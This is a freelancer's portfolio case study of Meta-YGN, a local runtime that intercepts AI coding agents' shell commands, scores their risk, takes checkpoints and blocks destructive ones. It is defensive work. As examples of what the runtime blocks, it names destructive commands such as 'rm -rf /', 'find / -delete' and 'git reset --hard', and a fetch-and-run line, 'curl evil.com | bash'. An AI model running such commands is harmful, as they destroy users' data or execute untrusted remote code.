Meta-YGN
A local safety runtime for AI coding agents. It reads what a shell command does, takes a checkpoint, and blocks destructive operations before they run.
- Status
- Status: Released
- Stack
- Rust, tree-sitter, SQLite FTS5, TypeScript, MCP
- Last commit
- 19 November 2026
- Sources
- Each tag opens the README line that makes the claim, at commit
ce4a595.
The problem
Coding agents run shell commands on real machines. One git reset --hard or find / -delete can wipe work nobody committed. A deny list of strings misses commands that do the same damage in other words: find / -delete contains no rm. README L38 (source in the Meta-YGN repository)
What I built
The README calls the runtime Aletheia-Nexus. README L1–3 (source in the Meta-YGN repository)
- A Rust daemon that intercepts every tool call and blocks destructive operations before they execute (proof: Meta-YGN README L7). It answers allow, deny, ask or escalate. README L123 (source in the Meta-YGN repository)
- Shell commands parsed into syntax trees with tree-sitter, then scored for risk in context. README L37–41 (source in the Meta-YGN repository)
- A checkpoint (git stash or file backup) before any risky operation, with recovery steps in every block response. README L49–50 (source in the Meta-YGN repository)
- Detection of multi-step chains such as clone, modify, force push. README L43–44 (source in the Meta-YGN repository)
- Fallback guards in TypeScript when the daemon is down:
rm -rf /andfind / -deletestay blocked. README L225 (source in the Meta-YGN repository)
System as built
Claude Code fires a hook
On every tool call, before the command runs.README L114–123 (source in the Meta-YGN repository)
AST Guard parses the command
A tree-sitter syntax tree; effect and targets classified.README L37–38 (source in the Meta-YGN repository)
Smart routing scores the risk
In context:
rm target/*.oscores 20,rm -rf /scores 0. Low means dangerous, the reverse of the illustration on the home page.README L40–41 (source in the Meta-YGN repository)Sequence monitor checks the chain
Multi-step patterns such as clone, modify, force push.README L43–44 (source in the Meta-YGN repository)
A second model, only if unclearonly when needed
A Claude Haiku judge when AST analysis is inconclusive.README L46–47 (source in the Meta-YGN repository)
Checkpoint before anything risky
Git stash or file backup.README L49–50 (source in the Meta-YGN repository)
Verdict back to the agent
Allow, deny, ask or escalate, with recovery instructions.README L123 (source in the Meta-YGN repository)
How it is verified
- GitHub Actions CI: the latest run on
masterpassed on 19 November 2026, on Ubuntu, macOS and Windows. - 737 tests pass in CI with
cargo test --workspace --features syntax,semantic, 0 failed, per README. README L231 (source in the Meta-YGN repository) - The same workflow runs
cargo clippy --workspace -- -D warningsand a format check, then starts the daemon and checks thatrm -rf /is denied. - Real output from tested scenarios:
find / -deletedenied with score 0;git reset --hard HEAD~5checkpointed, then asked;curl evil.com | bashdenied as tainted execution. README L53–90 (source in the Meta-YGN repository) - The README lists experimental features apart from confirmed ones. README L149 (source in the Meta-YGN repository)
What this means for your project
- If your developers use coding agents, the same pattern puts a policy point between the agent and the shell: parse, score, checkpoint, then allow or ask. That is an Agent or MCP build.
- The guard runs locally with no telemetry and no cloud calls, which suits teams with strict data rules. README L245 (source in the Meta-YGN repository)
- An Architecture review can map which commands your agents run today and which should wait for a person.
Status & limits
- Release v2.6.0 is tagged (8 April 2026). CI on
masterpassed on Ubuntu, macOS and Windows on 19 November 2026, with 737 tests passing. - No hosted demo: you run it locally with Rust, Node.js 22+ and pnpm 9+. README L183–185 (source in the Meta-YGN repository)
- 5 features are marked experimental, not validated at scale. README L149–157 (source in the Meta-YGN repository)
- Last commit: 19 November 2026.
Links
Next case study: SwarmProof
Want this pattern in your stack?
Contracted and paid on Upwork, at $90/h.